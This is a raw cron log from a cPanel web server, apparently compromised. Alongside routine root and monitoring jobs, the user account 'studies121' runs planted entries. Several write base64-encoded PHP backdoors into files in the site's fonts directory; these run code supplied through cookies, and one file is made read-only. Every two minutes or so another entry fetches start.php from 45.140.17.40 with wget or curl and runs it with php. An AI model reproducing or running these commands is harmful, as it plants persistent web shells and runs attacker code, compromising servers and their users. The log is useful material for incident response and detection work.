Sep  3 15:25:01 ip-184-168-122-23 CROND[26142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:25:01 ip-184-168-122-23 CROND[26141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:25:01 ip-184-168-122-23 CROND[26140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:25:01 ip-184-168-122-23 CROND[26143]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:26:01 ip-184-168-122-23 CROND[26224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:26:01 ip-184-168-122-23 CROND[26226]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:26:01 ip-184-168-122-23 CROND[26227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:26:01 ip-184-168-122-23 CROND[26225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:26:01 ip-184-168-122-23 CROND[26228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:27:01 ip-184-168-122-23 CROND[26344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:27:01 ip-184-168-122-23 CROND[26343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:27:01 ip-184-168-122-23 CROND[26345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:27:01 ip-184-168-122-23 CROND[26346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:28:01 ip-184-168-122-23 CROND[26512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:28:01 ip-184-168-122-23 CROND[26513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:28:01 ip-184-168-122-23 CROND[26517]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:28:01 ip-184-168-122-23 CROND[26514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:28:01 ip-184-168-122-23 CROND[26516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:29:02 ip-184-168-122-23 CROND[26601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:29:02 ip-184-168-122-23 CROND[26604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:29:02 ip-184-168-122-23 CROND[26605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:29:02 ip-184-168-122-23 CROND[26603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:30:01 ip-184-168-122-23 CROND[26703]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 15:30:02 ip-184-168-122-23 CROND[26706]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:30:02 ip-184-168-122-23 CROND[26712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:30:02 ip-184-168-122-23 CROND[26713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:30:02 ip-184-168-122-23 CROND[26711]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:30:02 ip-184-168-122-23 CROND[26710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:30:02 ip-184-168-122-23 CROND[26714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:30:02 ip-184-168-122-23 CROND[26708]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:31:01 ip-184-168-122-23 CROND[26817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:31:01 ip-184-168-122-23 CROND[26818]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 15:31:01 ip-184-168-122-23 CROND[26819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:31:01 ip-184-168-122-23 CROND[26821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:31:01 ip-184-168-122-23 CROND[26824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:32:01 ip-184-168-122-23 CROND[26922]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:32:01 ip-184-168-122-23 CROND[26923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:32:01 ip-184-168-122-23 CROND[26924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:32:01 ip-184-168-122-23 CROND[26925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:32:01 ip-184-168-122-23 CROND[26926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:33:01 ip-184-168-122-23 CROND[27094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:33:01 ip-184-168-122-23 CROND[27096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:33:01 ip-184-168-122-23 CROND[27098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:33:01 ip-184-168-122-23 CROND[27097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:34:01 ip-184-168-122-23 CROND[27201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:34:01 ip-184-168-122-23 CROND[27205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:34:01 ip-184-168-122-23 CROND[27204]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:34:01 ip-184-168-122-23 CROND[27203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:34:01 ip-184-168-122-23 CROND[27206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:35:01 ip-184-168-122-23 CROND[27307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:35:01 ip-184-168-122-23 CROND[27309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:35:01 ip-184-168-122-23 CROND[27310]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 15:35:01 ip-184-168-122-23 CROND[27312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:35:01 ip-184-168-122-23 CROND[27314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:35:01 ip-184-168-122-23 CROND[27311]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:35:01 ip-184-168-122-23 CROND[27315]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 15:35:01 ip-184-168-122-23 CROND[27317]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:36:01 ip-184-168-122-23 CROND[27407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:36:01 ip-184-168-122-23 CROND[27409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:36:01 ip-184-168-122-23 CROND[27410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:36:01 ip-184-168-122-23 CROND[27412]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:36:01 ip-184-168-122-23 CROND[27411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:37:01 ip-184-168-122-23 CROND[27497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
